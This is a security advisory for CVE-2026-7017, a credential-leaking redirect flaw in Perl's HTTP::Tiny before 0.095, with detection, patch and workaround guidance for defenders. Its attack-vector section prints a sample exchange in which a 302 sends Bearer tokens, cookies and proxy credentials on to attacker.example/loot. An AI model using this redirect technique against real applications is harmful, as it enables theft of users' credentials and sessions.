CVE-2026-7017: HTTP::Tiny Information Disclosure Flaw

CVE-2026-7017 Overview

CVE-2026-7017 is an information disclosure vulnerability in HTTP::Tiny, a widely used HTTP client library for Perl. Versions before 0.095 forward caller-supplied Authorization, Cookie, and Proxy-Authorization headers to redirect targets without verifying that the target shares an origin with the original request. Attackers who control or influence a redirect destination can harvest credentials intended for a different host. The issue is tracked as CWE-522: Insufficiently Protected Credentials.

Critical Impact
Bearer tokens, session cookies, and proxy credentials passed to HTTP::Tiny can be exfiltrated to attacker-controlled hosts, including plaintext leakage over http after an https downgrade.

Affected Products

HTTP::Tiny for Perl versions before 0.095
Perl applications and CPAN modules that depend on HTTP::Tiny for outbound HTTP calls
Toolchain utilities such as cpanm and CPAN.pm that rely on HTTP::Tiny for module downloads

Discovery Timeline

2026-07-07 - CVE-2026-7017 published to NVD and disclosed on the Openwall OSS-Security list
2026-07-08 - Last updated in NVD database

Technical Details for CVE-2026-7017

Vulnerability Analysis

The flaw lives in the redirect-handling path of HTTP::Tiny. When a server responds with a 3xx status, _maybe_redirect resolves the Location: header and issues a follow-up request. _prepare_headers_and_cb then re-merges the caller's original headers argument into the new request. No comparison is made between the origin of the initial URL and the redirect target, so sensitive headers travel to any host the redirect names.

The consequences span three boundaries. Cross-scheme redirects can downgrade https traffic to http, exposing tokens in cleartext. Cross-host redirects deliver credentials to arbitrary domains. Cross-port redirects can reach unintended services on the same host. The library's POD claimed that authorization headers would not be forwarded on redirects, but that assurance only covered credentials embedded in URL userinfo, not headers supplied programmatically by the caller.

Root Cause

The root cause is missing origin comparison during redirect resolution. HTTP::Tiny treats caller-supplied headers as intrinsic to the request rather than as origin-scoped secrets. A related defect in the same code path also mishandled protocol-relative Location: values of the form //attacker.example/loot, allowing a same-scheme cross-host jump that carried headers along.

Attack Vector

Exploitation requires a victim application to call HTTP::Tiny with sensitive headers against a URL that returns a 3xx response the attacker can influence. This includes open-redirect endpoints, attacker-controlled services, and compromised upstream hosts. The attacker's server simply returns a 302 with a Location: pointing at their own domain and logs the incoming Authorization, Cookie, or Proxy-Authorization header.

text

# Vulnerable request/response pair from the upstream test corpus
# Source: https://github.com/Perl-Toolchain-Gang/HTTP-Tiny/commit/e7a03aedf2395158f2b0d3bad2df943349227bb3.patch

GET /secret HTTP/1.1
Host: victim.example
Authorization: Bearer SECRET-TOKEN
Cookie: session=SECRET-SESSION
Proxy-Authorization: Basic c2VjcmV0OnNlY3JldA==
Connection: close
User-Agent: HTTP-Tiny/VERSION

HTTP/1.1 302 Found
Content-Length: 8
Location: http://attacker.example/loot

redirect

# HTTP::Tiny then re-sends the same Authorization, Cookie, and
# Proxy-Authorization headers to attacker.example.
GET /loot HTTP/1.1
Host: attacker.example

Detection Methods for CVE-2026-7017

Indicators of Compromise

Outbound HTTP requests from Perl processes carrying Authorization, Cookie, or Proxy-Authorization headers to hosts that do not match the intended API endpoint.
Egress traffic from internal hosts to unexpected external domains immediately following a 302/301/307/308 response from a trusted service.
Plaintext http:// requests containing bearer tokens or session cookies originating from applications that normally speak https://.
Log entries showing a HTTP-Tiny/ User-Agent hitting untrusted domains after a redirect chain.

Detection Strategies

Inventory Perl deployments and enumerate installed HTTP::Tiny versions with perl -MHTTP::Tiny -e 'print $HTTP::Tiny::VERSION'; flag any host below 0.095.
Instrument outbound proxies to detect credentialed requests that immediately follow a 3xx response and target a different origin.
Search source repositories for HTTP::Tiny->new and request(...) call sites that pass Authorization, Cookie, or Proxy-Authorization in headers =>.
Correlate authentication token issuance logs with outbound network flows to identify tokens delivered to unexpected hostnames.

Monitoring Recommendations

Alert on User-Agent strings matching HTTP-Tiny/0.09[0-4] traversing egress gateways.
Monitor for https to http downgrades on flows that carry Authorization headers.
Track outbound redirect chains crossing origin boundaries and record the credential material carried across each hop.
Feed proxy and DNS telemetry into a centralized data lake to hunt for tokens replayed against unusual destinations following a redirect.

How to Mitigate CVE-2026-7017

Immediate Actions Required

Upgrade HTTP::Tiny to version 0.095 or later on every Perl installation across servers, containers, and developer workstations.
Rotate any bearer tokens, session cookies, or proxy credentials that may have been transmitted through vulnerable versions to untrusted redirect targets.
Audit Perl code and CPAN dependencies for direct or indirect use of HTTP::Tiny, including transitive callers such as LWP::Protocol::https fallbacks and cpanm.
Restrict egress from application hosts to allow-listed destinations to limit exposure while patches are staged.

Patch Information

The fix ships in HTTP::Tiny0.095. Three upstream commits address the issue: commit 84984ef refuses https to http redirects by default (opt-in via allow_downgrade), commit 8f32ca8 corrects protocol-relative Location: handling, and commit e7a03ae strips Authorization, Cookie, and Proxy-Authorization on cross-origin redirects unless allow_credentialed_redirects is enabled. See the MetaCPAN change log and pull request 36 for the full change set.

Workarounds

Disable redirect following by constructing the client with HTTP::Tiny->new(max_redirect => 0) and handling 3xx responses explicitly in application code.
Avoid passing Authorization, Cookie, or Proxy-Authorization in the headers argument; use one-shot requests and validate the final URL before sending credentials.
Wrap HTTP::Tiny calls with a custom redirect handler that verifies the target scheme, host, and port match the original request before re-issuing credentials.
Enforce https-only egress at the network layer to eliminate cleartext downgrade paths.

bash

# Upgrade HTTP::Tiny to the patched release
cpanm HTTP::Tiny@0.095

# Verify the installed version on every host
perl -MHTTP::Tiny -E 'say $HTTP::Tiny::VERSION'

# Post-upgrade, credentialed cross-origin redirects are refused by default.
# Only re-enable the legacy behaviour if a specific integration requires it:
#   HTTP::Tiny->new(allow_credentialed_redirects => 1, allow_downgrade => 1)